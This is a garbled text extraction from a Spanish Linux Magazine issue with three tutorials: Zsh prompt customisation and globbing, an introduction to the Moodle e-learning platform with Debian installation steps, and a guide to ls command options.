El prompt también soporta el uso decolor para una legibilidad mejorada. Siquieres colorear los corchetes y el signo @de color verde, y el emoticono que indicael valor de retorno de rojo o verde, puedesusar secuencias de escape para hacerlo.

En Zsh se especifica una secuencia deescape con ${}. Por ejemplo, la secuenciasiguiente presentará el signo @ en verde:

%{e\[0;32m%}@%{e\[0m%}

El segundo, que encierra la secuencia deescape e\[0m%] asegura que cualquiercarácter siguiente será presentado enletra normal. También podrías usarnegrita para realzar la apariencia de tuprompt. En este caso, %B hará que eltexto de Zsh se muestre en negrita, y el%b lo volverá a la presentación normal:

PROMPT=$'%{\e[0;32m%}%B[%b%U

{\e[0m%}%n%{\e[0;32m%}@%U

{\e[0m%}%m%{\e[0;32m%}%B:%b%U

{\e[0m%}%(4c,./%1~,%~)%U

{\e[0;32m%}%B]%b%{\e[0m%}U

%(?,%{\e[0;32m%}:%)%{\e[0m%}U

,%{\e[0;31m%}:(%{\e[0m%}) %# '

Si añades todas las secuencias de escapeque hemos discutido, los resultados debe-rían ser parecidos a los de la Figura 1.

Opciones InteresantesZsh dispone de un número de opcionesque pueden habilitarse usando el coman-do setopt. Para crear una opción perma-nente, añade el comando setopt y losparámetros requeridos al fichero zshrc.El nombre del parámetro puede contenerletras mayúsculas o minúsculas y se per-miten los subrayados en la mayoría delos casos.Por ejemplo, Zsh entenderáautocd, AUTOCD, e incluso Auto_cd.

La página man zshoptions tiene unalista de opciones. Para deshabilitar unaopción coloca un “no” delante del nom-bre: setopt no_Auto_cd o setopt NOAU-

TOCD.Si escribes setopt sin configurar

ningún parámetro, te dice quéopciones han sido establecidas.

setopt soporta el autocompletado con lostabuladores. Si necesitas listar unaopción completa (ver Figura 2), simple-mente escribe setopt y pulsa dos veces latecla del tabulador. Las opciones másimportantes entre las 150 ó más, son lassiguientes:• AUTO_CD – Si la primera pala-

bra en la entrada no es uncomando, Zsh intentará cam-biar a este directorio. El autocompletado con el tabuladorhace cd más o menos redun-dante.

• LIST-PACKED – Esta opción usael autocompletado para reducirla separación entre columnasen el listado de salida.

• SHARE_HISTORY – Esta opcióncomparte las historias de múlti-ples Z-Shells, es decir: loscomandos de una Zsh activa secolocan luego en la historia delas otras shells.

• GLOB – Z-Shell intenta resolverlos comodines (tales como *).Por ejemplo, puedes escribir ls* y pulsar [Tab] para reempla-zar el comodín por todos losficheros.

• GLOB_COMPLETE – Normal-mente cuando pulsas [Tab] des-pués de escribir ls *, el como-dín es reemplazado por todoslos ficheros. Si está habilitadoGLOB_COMPLETE puedes pul-sar [Tab] múltiples veces paraseleccionar el fichero requerido(ver también MENU_COM-

PLETE).• MENU_COMPLETE – Si el auto

completado devuelve múltiplesresultados, Zsh no te avisaráantes de que presente el primer

resultado, sino que simple-mente lo insertará. En

caso de múltiplesresulta-

Z-Shell • LINUX USER

83Número 13W W W . L I N U X - M A G A Z I N E . E S

Figura 3: El englobamiento y los cualificadores hacen que la búsqueda de ficheros en Z-Shell

sea un juego de niños.

Page 84: Linux Magazine - Edición en Castellano, Nº 13

ls /usr/bin/*(s)

La página man zshexpn tiene una listacompleta de cualificadores. Los máscomunes son los siguientes:• @ – Filtra los resultados de

enlaces simbólicos.• w – Muestra ficheros de escri-

tura solamente.• W – Encuentra solamente fiche-

ros de escritura globales.• U – Filtra los ficheros del usua-

rio.LA Figura 3 muestra unas cuantas apli-caciones de englobamiento Zsh. Puedesnegar los resultados añadiendo ^. Porejemplo, ls *(^U) te dará los ficheros quepertenecen a otros usuarios, pero no lostuyos propios.

Si configuras el parámetro EXTENDEN-

GLOB, el modificador noglob puederesultar ser muy útil en algunos casos.Deshabilita el englobamiento para elcomando siguiente. Por ejemplo, elsiguiente comando no descarga la páginade la URL especificado, sino que muestraun mensage de error:

% wget http://www.foobar.de/U

index.php?action=test

zsh: no matches found: http://U

www.foobar.de/index.php?U

action=test

Cuando está habilitado el englobamien-to, Zsh interpreta el signo de interroga-ción como el comienzo de una pauta debúsqueda, y a causa de que la esperadapauta de búsqueda no se encuentra, Zshda entonces un mensage de error.

Si das al comando noglob para desha-bilitar el englobamiento, también desha-bilitará la expansión del nombre delfichero, y el parámetro no se expandirá.En vez de ello, se pasa a wget tal y comoestá, el cual descarga posteriormente lapágina web requerida:

% noglob wget http://www.U

foobar.de/index.php?test

--11:41:25-- http://www.U

foobar.de/index.php?action=U

test

=> `index.php?action=test'

(...)

FuentesSi esta corta excursión por el

mundo de Zsh te ha abierto el apetito yestás planteándote investigar más pro-fundamente acerca de él, deberías acer-carte a las siguientes fuentes de informa-ción. En el sitio oficial de Z-Shell encon-trarás una corta introducción a Zsh [2] yel FAQ Zsh oficial [3].

Aprender más sobre las característicasde Zsh y compararlas con las de otrasshells, te aconsejamos visitar la páginade Christian Schneider en [4]. Tambiénestá el pequeño proyecto Zsh Lovers, elcual reúne ejemplos de las funcionesdescritas en las páginas man y publica-das bajo la forma de página man para losamantes de Zsh.

Finalmente, no olvides excelente libroen papel, From Bash to Zsh (ISBN 1-59050-376-6) de Oliver Kiddle, JerryPeek y Peter Stevenson, el cual hará quemigres definitivamente aZSH. La publicaApress y cuesta unos 35 dólares america-nos. Y si todas esas búsquedas en fuen-tes online o material escrito son dema-siado largas, siempre puedes intercam-biar experiencias con otros usuarios deZsh através de los canales IRC #grml y#zsh en Freenode (irc.freenode.org). �

dos, puedes moverte a través deellos pulsando [Tab].

• CORRECT_ALL – Zsh intenta corregir errores, tales como errores tipográficos sencillos.

• HUP – Cuando abandonas lashell, una señal HUP se envía atodos los procesos activos. Siesta opción no está configu-rada, los procesos pueden con-tinuar ejecutándose.

• BEEP – Especifica si Z-Shelldebería dar emitir un pitido através del altavoz del PC en elcaso de una entrada errónea.

EnglobamientoUna de las características más impor-tantes de Z-Shell es su poderoso sistemade englobamiento. Este término se refie-re al modo en el que funciona la herra-mienta glob, es decir la manera en laque se encuentran los ficheros y carpe-tas mediante referencias a pautas debúsqueda tales como expresiones regu-lares.

El comando setopt EXTENDEDGLOB

habilita el englobamiento extendido.Luego puedes usar argumentos como<x-y> para direccionar rangos numéri-cos. También parámetros como (foo|bar)que soportan grupos de argumentos, yque buscan el árbol del sistema de fiche-ros recursivamente:

% chmod 644 U

~/public_html/**/*.html(.)

Los cualificadores te permiten centrarlos resultados de las búsquedas. Parahacerlo, añade un cualificador a lapauta de búsqueda como sigue:pauta(cualificador). Por ejemplo, sideseas encontrar programas en /usr/bin

con el bit setuid, puedes añadir un cua-lificador s:

LINUX USER • Z-Shell

84 Número 13 W W W . L I N U X - M A G A Z I N E . E S

[1] RPMSeek: http://www.rpmseek.com

[2] Introducción a Zsh: http://zsh.sunsite.

dk/Intro/

[3] Zsh FAQ: http://zsh.sunsite.dk/FAQ/

[4] Página Zsh de Christan Schneider:

http://www.strcat.de/zsh/

[5] Zsh Lovers: http://grml.org/zsh/

#zshlovers

RECURSOS

Fichero Contenido

zshenv Variables de entorno

zlogin (Solamente shell de ini-

cio) comandos que

corren cuando arranca

Zsh

zprofile (Solamente shell de ini -

cio) comandos para el

perfil de usuario. Zsh

corre estos antes zshrc

en el momento del inicio

zshrc Comandos que corre Zsh

cuando arranca la shell

zlogout (Solamente shell de ini-

cio) comandos que

corren cuando se sale de

Zsh

Tabla 1: Ficheros deConfiguración de Zsh

Page 85: Linux Magazine - Edición en Castellano, Nº 13

85

Educación • LINUX USER

85Número 13W W W . L I N U X - M A G A Z I N E . E S

Pequeña introducción terminológica

al e-learning: moodle (figura 1) es

un LMS, clase especial de los CMS.

O un VLE. A su vez formas destacadas del

CAT de nuestros tiempos. Sencillo, ¿ver-

dad? Las cosas deberían estar más claras de

lo que el marketing y el oscurantismo

pedantesco nos lo ponen: moodle es un

tipo de aplicación que pertenece al género

de los gestores de contenidos educativos

(en inglés Learning Management Systems),

también conocidos como entornos de

aprendizaje virtuales (Virtual Learning

Managements, en castellano he visto EVA,

Entornos Virtuales de Aprendizaje, con un

énfasis en la «virtualidad» que comentare-

mos después), un subgénero de los gesto-

res de contenidos (Content Management

Systems, aunque a veces para nuestra con-

fusión se use Course Management Systems,

otra vez CMS, o Courseware, para referirse

a los LMS).

¿Ha quedado claro? ¿No? Empecemos

otra vez: gestores, entornos… moodle es

una aplicación para montar y gestionar

plataformas educativas. Espacios donde

una organización (centro educativo, uni-

versidad, academia o empresa) gestiona

recursos educativos proporcionados por

un profesorado y organiza el acceso a esos

recursos por el alumnado, y además per-

mite la comunicación entre los profesores,

entre profesores y alumnos y quizás entre

los propios alumnos. Algunas plataformas

además fomentarán el trabajo cooperativo

y la discusión de los temas. Pero ese será

un rasgo distintivo, no pertenece a la defi-

nición genérica.

¿Todas son herramientas de teleforma-

ción? Ah, buena pregunta :-) . La respues-

ta es no: la «e» de «e-learning» no tiene

que ver con distancia, sino con electróni-

ca: son herramientas para la enseñanza

con ayuda de la informática, sea presen-

cial, mixta o a distancia. Sí hay un énfasis

en la «virtualidad» que podemos analizar.

Virtual tiene que ver con imaginario o

aparente («imagen virtual», por ejemplo),

y se opone a real y físicamente presente.

Un entorno o un aula virtual sustituyen de

algún modo (puede que complementan-

do) a las aulas presenciales. Lo que conlle-

va que no tengan sentido expresiones

como «plataforma virtual» o «enseñanza

E-learning, teleformación, plataformas educativas… son palabras y conceptos de moda, que parece que

van a acabar con las formas tradicionales de enseñanza y aprendizaje. ¿Es esto así de sencillo? Vamos a

tratar de dar respuesta a esta pregunta analizando el gestor de contenidos educativos libre más popular,

moodle. POR JUAN RAFAEL FERNÁNDEZ GARCÍA.

Figura 1: Sitio central de Moodle.

La plataforma educativa Moodle

LA HORA DEL E-APRENDIZAJE

Page 86: Linux Magazine - Edición en Castellano, Nº 13

tigación en equipo, el reparto democrático

de tareas son cosas que también se hacen

en la clase. La teleformación es quizás un

mal necesario, pero personalmente me

interesa mucho más la constitución de

redes y espacios de creación colectiva de

conocimiento. Foros -en el sentido pleno

de la palabra- virtuales.

Por supuesto que alguno de los usos

más conocidos es la creación de cursos a

distancia, y que algunas plataformas incor-

poran un sistema de matriculación vincu-

lada a pagos. Pero ni esto es esencial a los

LMS ni es la dimensión que me interesa.

Hay otro detalle en el que como docen-

tes debemos fijarnos: se habla casi siem-

pre de enseñanza/aprendizaje, y ambigua-

mente de formación, no de educación.

virtual». ¿Dónde quiero llegar? A que los

entornos virtuales pretenden crear un aula

donde ésta no está disponible, o bien

ampliar las potencialidades del aula real.

Los entornos virtuales de aprendizaje son

eso, virtuales: reproducen el modelo de

enseñanza/aprendizaje que tiene el profe-

sor. Si su modelo es transmisor en el aula,

en su virtualidad electrónica también será

cerrado. Si los momentos importantes son

la matriculación y la evaluación final,

estamos manifestando claramente una

modalidad de enseñanza, que evidente-

mente no es la única. La discusión, apren-

der a razonar y a ser convincente, la inves-

LINUX USER • Educación

86 Número 13 W W W . L I N U X - M A G A Z I N E . E S

Estos artículos tienen, como todo hoy, la

obsolescencia programada. Cuando lle-

gan al kiosko los problemas señalados

ya han sido resueltos o sustituidos por

otros, el gran descubrimiento es una

noticia vieja, las pequeñas astucias (sí,

esto es un galicismo pero me gusta) se

han vuelto innecesarias… son artículos

cargados de historicidad. Cuando escri-

bo la versión disponible en Debian

Estable es la 1.4.2, en Testing está la

1.5.2. En el sitio de moodle http://

download.moodle.org/ se señala como

estable la 1.5.3. El lector queda situado:

este es un artículo y sus circunstancias.

Supongamos que administramos una

máquina de trabajo cara al público; por

tanto nada de experimentos, tendremos

una Sarge y versiones estables de las

aplicaciones. Aprendamos cómo instalar

el paquete moodle de Sarge.

Moodle es un ejemplo típico del paradig-

ma LAMP. Estas son las siglas de Linux +

Apache + Mysql + PHP. LAMP se ha con-

vertido en uno de los ejes vertebradores

de los servicios que pueden encontrarse

en internet. Pues bien, antes de instalar

moodle hay que tener correctamente

instalados los programas en los que se

basa. De GNU Linux no vamos a hablar

(más bien llevamos hablando de manera

indirecta desde el primer artículo),

Apache es el servidor de páginas html,

el programa que responde a las peticio-

nes enviadas con el protocolo http por

los navegadores web. Un solo detalle:

conviene instalar también apache-ssl o

el módulo libapache-mod-ssl, para que

en el momento de autentificarse en la

plataforma las contraseñas no viajen por

la red en abierto. Las versiones moder-

nas de apache incluyen la línea

Include /etc/apache/conf.d

en su fichero de configuración /etc/apa-

che/httpd.conf. Esto nos permitirá no

tener que tocar este archivo y si poner

nuestras modificaciones y ajustes (la

configuración de php y de moodle) en el

subdirectorio /etc/apache/conf.d/.

¿Vamos a dejar acceder a nuestro moo-

dle desde otras máquinas, cualquiera,

sólo desde mi ordenador de pruebas?

Eso equivale a permitir o negar el acceso

al directorio donde se haya instalado

moodle y se configura en

/etc/moodle/apache.conf dejando una de

las tres líneas

deny from all

allow from 127.0.0.0/255.0.0.0

allow from all

El siguiente paso es instalar php4 y

php4-mysql (o php4-pgsql, porque hace

varias versiones, que moodle también

puede utilizar la base de datos

PostgreSQL). Php es un lenguaje de

guiones (scripting language) que se inte-

gra en las páginas html y permite crear

webs dinámicas. En este momento con-

viene repasar con detenimiento

/etc/php4/apache/php.ini para atar bien

los cabos de la seguridad del sistema. En

dicho fichero también se establece un

límite que después puede darnos gran-

des quebraderos de cabeza

; Maximum allowed size for uploa-

ded files.

upload_max_filesize = 2M

No podremos configurar en moodle la

subida de ficheros mayores si en php

hemos puesto un límite inferior.

Y llegamos al momento delicado: la ins-

talación del gestor de bases de datos

mysql (o PostgreSQL, como hemos

dicho). El paquete es mysql-server.

Aconsejo instalar de forma paralela

phpmyadmin, una herramienta web fan-

tástica para trabajar con mysql. Los pro-

blemas pueden venir con la creación de

cuentas y permisos. Y con la accesibili-

dad por red: para poder utilizar

phpmyadmin y moodle es preciso

comentar la línea skip-networking del

fichero /etc/mysql/my.cnf, pero debemos

tener mucho cuidado con las conexio-

nes. En principio es razonable fijar

bind-address =

127.0.0.1

Moodle no necesita más, porque es el

servidor apache en modo local el que

consulta la base de datos. También

deberemos crear un fichero /root/.my.cnf

con la contraseña del administrador de

la base de datos y de phpmyadmin.

Reiniciamos apache y mysql

(/etc/init.d/apache restart y así sucesiva-

mente) para que tomen los nuevos pará-

metros de configuración.

Ya podemos hacer aptitude install moo-

dle. Nos preguntará la contraseña del

administrador del gestor de bases de

datos y los datos de la nueva base, que

se guardarán en /etc/moodle/config.php.

También creará la base de datos (no las

tablas). Y un fichero cron que ejecuta

periódicamente un guión php (limpia

tablas, envía correos…). ¿Qué falta por

hacer? Nos falta dejar que el sistema

cree las tablas donde se van a guardar

los datos de la plataforma. En nuestro

navegador abriremos la url http://

localhost/moodle/admin y seguiremos

las instrucciones.

Para terminar podemos comprobar que

los datos se han creado correctamente

con phpmyadmin (figura 7). ¡Ya tenemos

nuestro propio sitio moodle! (figura 8).

Se llama Sócrates :-)

Cuadro 1: Instalación de moodle

Figura 2: Modelos de aprendizaje.

Page 87: Linux Magazine - Edición en Castellano, Nº 13

Hasta nuevo aviso las máqui-

nas no educan, es tarea de

personas guiar el proceso y

determinar la elección de

herramientas y procedimien-

tos para que el resultado sea

educativo. Y en la elección

de la plataforma será criterio

fundamental la herramienta

que más contribuya a la

comunicación, la discusión

abierta y la colaboración,

porque son educativas. Sólo

entonces será una platafor-

ma educativa.

¿Una comparativa de plata-formas?¿Moodle? ¡Qué palabra tan extraña, seguro

que es un acrónimo! Pues sí, podemos

leer en http://moodle.org/mod/resource/

view.php?id=684 que la palabra moodle

era al principio un acrónimo de Modular

Object-Oriented Dynamic Learning

Environment (Entorno de Aprendizaje

Dinámico Orientado a Objetos y

Modular). Parece haber también un juego

de palabras con doodle, hacer garabatos,

esos dibujos que pinta la gente de forma

distraída cuando se aburre: sería, dice la

documentación, un verbo que describe el

proceso de deambular perezosamente a

través de algo, o hacer las cosas cuando se

te ocurre hacerlas, una placentera chapu-

za que a menudo te lleva a la visión y la

creatividad. Las dos acepciones se aplican

a la manera en que se desarrolló moodle y

a la manera en que un estudiante o profe-

sor podría aproximarse al estudio o ense-

ñanza de un curso en línea.

El desarrollo de moodle fue iniciado por

Martin Dougiamas (Martin continúa diri-

giendo el proyecto) en los años noventa,

por su insatisfacción con la comercial y

cara WebCT y para crear una herramienta

que permitiera a los profesores de los cole-

gios e instituciones pequeñas explotar el

uso pedagógico de internet. La versión 1.0

apareció el 20 de agosto de 2002. La ver-

sión 1.5.3 es el 20 de noviembre de 2005.

Muchas cosas han cambiado en este perio-

do de tiempo: moodle se usa en numerosas

universidades, institutos, colegios…

El que usa moodle es un moodler.

Circula un chiste entre los moodlers hispa-

nohablantes: la comunidad se divide entre

los que pronuncian «múdl» y los que pro-

nuncian «modle». Sin comentarios.

Ahora recuerdo que prometía al iniciar

esta sección hablar de las comparativas de

plataformas. ¿Quieren comparativas? Aquí

tienen unas cuantas

• http://www.unesco.org/

webworld/portal_freesoftware/

Software/Courseware_Tools/

• http://www.edutools.info/course/

compare/bygroup/selectproducts.

jsp?group=2

• http://www.elearningworkshops.

com

• http://www.xplana.com/

whitepapers/archives/

Open_Source_Courseware

Voy a cerrar la sección sin hacer mi com-

parativa. ¿Por qué? Por varias razones,

espero que convincentes:

• He estudiado con interés un

buen numero de ellas, hasta lle-

gar a la conclusión de que

cada comparativa está reali-

zada según unos criterios

diferentes; una plataforma

será válida o no según las

necesidades de la institu-

ción donde se va a aplicar.

Lo que es válido en una

universidad puede que

ocupe demasiados recursos

o sea demasiado difícil de

administrar en un colegio;

una herramienta de telefor-

mación comercial destacará

en las herramientas que

impiden que la información se

abra al libre acceso

• Las evaluaciones están cargadas

de historicidad: se evalúa la ver-

sión del momento con las carac-

terísticas del momento; una pla-

taforma aparece como superior a

otra porque dispone de un

módulo que la otra mejora en la

siguiente versión… en el mundo

del software libre tres meses son

una eternidad

Más que una comparativa de característi-

cas nos interesa hacer un listado de crite-

rios que guíe la elección de la plataforma

de nuestra institución. Y hay una serie de

puntos que son irrenunciables: que el

entorno de aprendizaje sea libre y libre-

mente mejorable, que los datos introduci-

dos sean nuestros y podamos reutilizarlos

y rescatarlos cuando lo deseemos (ver el

cuadro 2), que esté internacionalizado, y

para mí, decisivo es que tenga detrás una

comunidad viva y dinámica de desarrolla-

dores y usuarios. Moodle cumple todas

estas condiciones.

Un poco de teoría tampocoestá de más¿Qué tiene moodle de especial? Su carác-

ter libre, el enfoque y la filosofía que tiene

detrás. Y la comunidad.

El esquema de Rafael Casado Ortiz

(figura 2, tomada de http://moodle.org/

mod/forum/discuss.php?d=25768) nos

servirá de introducción. El diseño y el de-

sarrollo de moodle se basan en la teoría

del aprendizaje que se denomina pedago-

gía construccionista social. Para el cons-

truccionismo el aprendizaje es particular-

mente efectivo cuando se construye algo

que debe llegar a otros (se habla de arte-

factos: una frase, este artículo, un progra-

ma informático). Cito el ejemplo de http://

Educación • LINUX USER

87Número 13W W W . L I N U X - M A G A Z I N E . E S

Figura 5: Listado de cursos en los que el

usuario está inscrito.

Figura 4: Identificándose en un sitio moodle.

Figura 3: Mapa conceptual del constructivismo.

Page 88: Linux Magazine - Edición en Castellano, Nº 13

sin una reflexión previa sobre cómo se

aprende y cómo pueden modificar el siste-

ma escolar. Aunque admito que estas

reflexiones pertenecen a otro lugar.

Sí es verdad que moodle se está desarro-

llando en comunidad; son varios cientos

los desarrolladores con acceso al cvs de la

aplicación y muy frecuentados los foros de

sugerencias, comentarios y evaluación de

cada uno de los módulos. Es otro éxito y

otro producto de internet como comuni-

dad mundial.

Primer contacto como usuarioSupongamos un sitio con moodle instala-

do y configurado (la instalación se descri-

be en el cuadro 1). El administrador puede

elegir varios modos de dar de alta en la

plataforma (su tarea la veremos en la

siguiente parte de esta serie de artículos).

La figura 4 nos muestra una modalidad

típica de la página de acceso.

Hay cuatro clases principales de usua-

rios en moodle. El modo inferior es el invi-

tado. Un invitado puede visitar algunas

páginas (aquellas abiertas a todo el

mundo) y leer los foros y descargar los

documentos, pero no tiene permiso de

escritura en la plataforma y por tanto no

puede participar en ninguna discusión. Se

puede configurar el sistema para que sea

posible entrar en las páginas abiertas

como invitado sin tener que realizar nin-

guna identificación.

El segundo nivel es el de alumno o par-

ticipante en una actividad. Un alumno

tiene que estar dado de alta en la platafor-

ma y puede acceder a los cursos abiertos

(autoinscribiéndose) y a aquellos en los

que está inscrito.

El tercer nivel es el de profesor, tutor o,

en la jerga de moodle, facilitador de un

curso. Su nivel de permisos es mucho

mayor: puede modificar la estructura del

curso, subir materiales, pedir trabajos y

leer los materiales elaborados por los

alumnos (tareas, diarios)…

Por último es necesaria la existencia de

uno o varios administradores.

Por lo pronto vamos a describir la

experiencia de un usuario de a pie.

Cuando el participante se ha autentifica-

do, con su identificador de usuario y su

contraseña, se le presenta el listado de

cursos en los que está inscrito (la figura

5 muestra el listado de cursos y activida-

des del proyecto Cor-Edux ya presentado

en esta serie de artículos). También

puede inscribirse en un curso nuevo si el

responsable le facilita la contraseña de

acceso: basta con que intente entrar y

cuando el sistema le pida la contraseña

el estudiante la introduzca.

Pero… ¿cómo se estructura un curso de

moodle? Tenemos un nuevo ejemplo en la

figura 6, la página principal de uno de los

cursos del proyecto Edukalibre (http://

edukalibre.org/moodle/course/view.

php?id=3). Una cabecera y la omnipre-

sente disposición en tres columnas. Las

funcionalidades de moodle se dividen en

bloques (espacio configurables) y módu-

los que ocupan espacio en esos bloques.

Hay módulos de recursos (enlace a otras

páginas, creación y edición de páginas

web, subida de ficheros y creación de sub-

directorios para alojarlos) y módulos de

actividades (foro, wiki, chat, glosario,

taller, cuestionario, tarea, encuesta…). El

profesor decide cuáles de estos módulos

están presentes y visibles en su curso y

cuándo.

En el próximo número…Hemos agotado el espacio de este primer

artículo. Nos queda por ver cómo se utili-

zan los principales módulos y se saca par-

tido de ellos, cómo se crea y configura un

curso, cómo se importan y exportan los

cursos y sus datos para que puedan reutili-

zarse en otro LMS. Y hablaremos de hacia

dónde se encamina moodle, sus noveda-

des y los módulos en preparación. ¿Nos

vemos el mes que viene? �

moodle.org/mod/resource/view.

php?id=3849:

«Usted puede leer esta página varias

veces y aun así haberla olvidado maña-

na; pero si tuviera que intentar explicar

estas ideas a alguien usando sus propias

palabras, o crear una presentación que

explique estos conceptos, entonces

puedo garantizar que usted tendría una

mayor comprensión de estos conceptos,

más integrada en sus propias ideas. Por

esto la gente toma apuntes durante las

lecciones, aunque nunca vayan a leerlos

de nuevo.»

Pero no estamos ante una psicología

individualista: el aprendizaje no se reali-

za en burbujas aisladas. La construcción

de artefactos se realiza en el ámbito de

un grupo social, creando colaborativa-

mente una pequeña cultura de artefactos

compartidos con significados comparti-

dos. Según esta visión el aprendizaje es

un fenómeno fundamentalmente social:

el aprendizaje tiene lugar en el ámbito

de la comunidad social a las que se per-

tenece. El papel del profesor sería el de

«facilitador» que anima a los estudiantes

a descubrir los principios por sí mismos

y a construir conocimiento trabajando en

la resolución de problemas reales en un

proceso social colaborativo.

La wikipedia en inglés tiene un buen

resumen de las teorías de Papert (http://

en.wikipedia.org/wiki/

Constructionist_learning; sobre constructi-

vismo se habla en http://en.wikipedia.org/

wiki/

Learning_theory_%28education%29). No

podemos entrar a exponerlas con detalle

ni a reflexionar sobre ellas (el director de

la revista no me deja, dice que esta es una

revista de informática). Sí me atreveré a

colar la figura 3, procedente de http://

www.uib.no/People/sinia/CSCL/

HMM_Constructivism.htm, y a afirmar

que deberíamos preguntarnos qué hace-

mos con ordenadores en nuestras clases

LINUX USER • Educación

88 Número 13 W W W . L I N U X - M A G A Z I N E . E S

Figura 7: Comprobación de que las tablas se

han creado. Figura 8: Nuestro propio sitio moodle.Figura 6: Un curso del proyecto Edukalibre.

Page 89: Linux Magazine - Edición en Castellano, Nº 13

89

Línea de comandos: ls • LINUX USER

89Número 13W W W . L I N U X - M A G A Z I N E . E S

El comando ls es difícil que pueda

ser superado cuando se acompa-

ña de las opciones y parámetros.

La página man se lee como un bestseller.

Como usuario puedes seleccionar innu-

merables opciones para decidir lo que

deseas que te muestre y cómo formatear

la presentación.

¿Qué contiene?Escribiendo ls en el prompt verás el con-

tenido del directorio actual, pero puedes

proporcionar una ruta absoluta o una

relativa para ver el contenido de otro

directorio:

ls /etc

o

ls ../../etc

Si la salida tiene demasiado colorido o si

se muestra demasiada información (los

asteriscos para ficheros ejecutables y

barras para directorios), deberías traba-

jar con un alias ls. Muchas distribucio-

nes modernas definen una abreviatura

estándar para sus usuarios y pasan al

programa parámetros por defecto.

Puedes escribir el siguiente, por ejemplo,

para ver si ls tiene un alias en tu sistema:

$ alias ls

alias ls='/bin/ls $LS_OPTIONS'

El alias le dice a la shell que use el nom-

bre completo de la ruta para el programa

(/bin/ls) y los argumentos contenidos en

$LS_OPTIONS siempre que un usuario

escribe ls. También puedes usar la línea

de comandos para descubrir el valor

actual de la variable:

$ echo $LS_OPTIONS

-N --color=tty -T 0

Para deshabilitar un alias de la sesión de

la shell actual y experimentar con el

comando ls original escribe:

unalias ls

Si quieres utilizar siempre el comando

básico, o bien puedes añadir el comando

unalias al fichero de configuración de tu

shell (.bashrc) o definir tu propio alias

para ls (ver la sección titulada

Adaptable) y sobreseer la configuración

global del sistema.

VistasPor defecto, una simple llamada a ls no

muestra los ficheros y directorios ocul-

tos, es decir, ficheros y directorios con

nombres que comienzan por un punto.

Si deseas ver objetos ocultos, puedes

configurar la opción -a (para “all” –

“todo”):

$ ls -a

./

../

.bash_history

.bash_logout

.bashrc

Esta lista también incluye los directorios

actual y padre (indicados por un punto o

dos puntos respectivamente). Para

excluir esos directorios de la lista, pero

manteniendo los objetos ocultos, usa -A

en lugar de -a.

Informativo 100%El comando ls te da una gran cantidad de

información si especificas el parámetro -l

(ver el cuadro titulado “Listado de

Directorios Detallado”). El nombre del

fichero se muestra a la derecha. Para

enlaces simbólicos (como blubb.ps en

nuestro ejemplo) una flecha indica los

puntos de unión al fichero original. A la

izquierda puedes ver el último cambio

Listado detallado de directorios con ls

LA HERRAMIENTA DE LISTADO

El comando ls lista ficheros en la línea de comandos además de

ofrecer una lista detallada de las propiedades del fichero de gran

utilidad. Con o sin color, este comando te ofrece lo mejor de tus

ficheros. HEIKE JURZIK

Page 90: Linux Magazine - Edición en Castellano, Nº 13

• b/c para un fichero de disposi-

tivo (“bloque” o dispositivo de

carácter”)

Clasificación por TamañoEl comando ls dispone de opciones que

te permiten clasificar los ficheros por su

tamaño. La opción -S da un listado de

clasificación con el fichero de mayor

tamaño en primer lugar. Puedes usar

este parámetro en combinación con -s

para que presente el tamaño (de nuevo

en bytes) delante del nombre de fichero:

$ ls -sS

11836 user.mpg 4 bla U

4 script.sh 0 blubb.ps

De nuevo puedes usar la bandera -h para

decirle a ls que use unidades más intuiti-

vas:

$ ls -sSh

12M user.mpg 4,0K bla U

4,0K script.sh 0 blubb.ps

Claro que puedes cambiar el orden de la

clasificación de esta salida usando el

parámetro -r con el que obtendrás prime-

ro el fichero de menor tamaño:

$ ls -sShr

0 blubb.ps 4,0K script.sh U

4,0K bla 12M user.mpg

¿La Antigüedad antes quela Belleza?Si es necesario, ls puede clasificar la lista

de directorios por el último cambio de

fecha y hora. Por defecto, el

fichero “más joven” encabe-

za la lista:

$ ls -t

script.sh blubb.ps U

user.mpg bla

De nuevo, opcionalmente -r

puede cambiar el orden y

la salida para que el primer

fichero sea el más viejo.

Como una lista de este tipo

no es fácil de leer, ya que

múltiples ficheros son lista-

dos en una línea única,

puedes especificar la

opción -1 para que ls

entienda que sólo ha de lis-

tar una entrada por columna.

$ ls -tr1

bla

user.mpg

blubb.ps

script.sh

PalabreríaSi encuentras esta detallada salida dema-

siado prolija, ya que lo que deseas es

conocer el tipo de ficheros con los que

estás tratando, puedes especificar la

opción -F con ls:

$ ls -F

bla/ blubb.ps@ blubb.ps~ U

user.mpg script.sh*

En este formato de listado, ls coloca una

barra a los directorios, un signo [@] a

enlaces simbólicos y un asterisco a los

ejecutables.

También le puedes decir que restrinja

la presentación, excluyendo copias de

seguridad, las cuales son identificables

por la tilde al final del nombre del fiche-

ro, especificando la opción -B. Si tus

copias de seguridad tienen un sufijo

como .bak, por ejemplo, puedes pasarle

el parámetro -I a ls y adicionalmente

especificar una pauta de búsqueda para

ignorar los ficheros:

ls -I *.bak

También puedes decirle al comando que

no presente los contenidos de los subdi-

rectorios si estás trabajando con comodi-

de fecha y hora (puede ser

un año si el cambio tuvo

lugar en un momento

anterior). Más a la izquier-

da puede verse el tamaño

de los ficheros en bytes, el

propietario y el grupo.

Si deseas cambiar la sali-

da del tamño del fichero

de bytes a una unidad de

un tamaño diferente, sim-

plemente añade el paráme-

tro -h y ls mostrará el

tamaño en Kilobytes,

Megabytes o Gigabytes.

La segunda columna por

la izquierda da un número

de entradas de directorio

para directorios (incluyen-

do . y ..) y el número de enlaces duros

para ficheros. Finalmente, los 10 caracte-

res de la parte izquierda final represen-

tan el fichero tipo y los permisos. Los

designadores de los ficheros tipo son los

siguientes:

• – para un fichero normalmente

• d para un directorio

• l para un enlace simbólico

LINUX USER • Línea de comandos: ls

90 Número 13 W W W . L I N U X - M A G A Z I N E . E S

Figura 1: Puedes colorear la salida con ls.

01 $ ls -l

02 total 11844

03 drwxrwxr-x 2 hen users

4096 2005-07-20 10:25 bla

04 lrwxrwxrwx 1 hen users

10 2005-07-20 10:49 blubb.ps

-> ../post.ps

05 -rw-r--r-- 1 hen users

12101636 2005-07-20 10:48

hen.mpg

06 -rwxr-xr-x 1 hen users

1325 2005-07-20 10:49

script.sh

01 $ ls -lh

02 total 12M

03 drwxrwxr-x 2 hen users

4,0K 2005-07-20 10:25 bla

04 lrwxrwxrwx 1 hen users

10 2005-07-20 10:49 blubb.ps

-> ../post.ps

05 -rw-r--r-- 1 hen users

12M 2005-07-20 10:48 hen.mpg

06 -rwxr-xr-x 1 hen users

1,3K 2005-07-20 10:49

script.sh

Listado de Directorios

Detallado

Page 91: Linux Magazine - Edición en Castellano, Nº 13

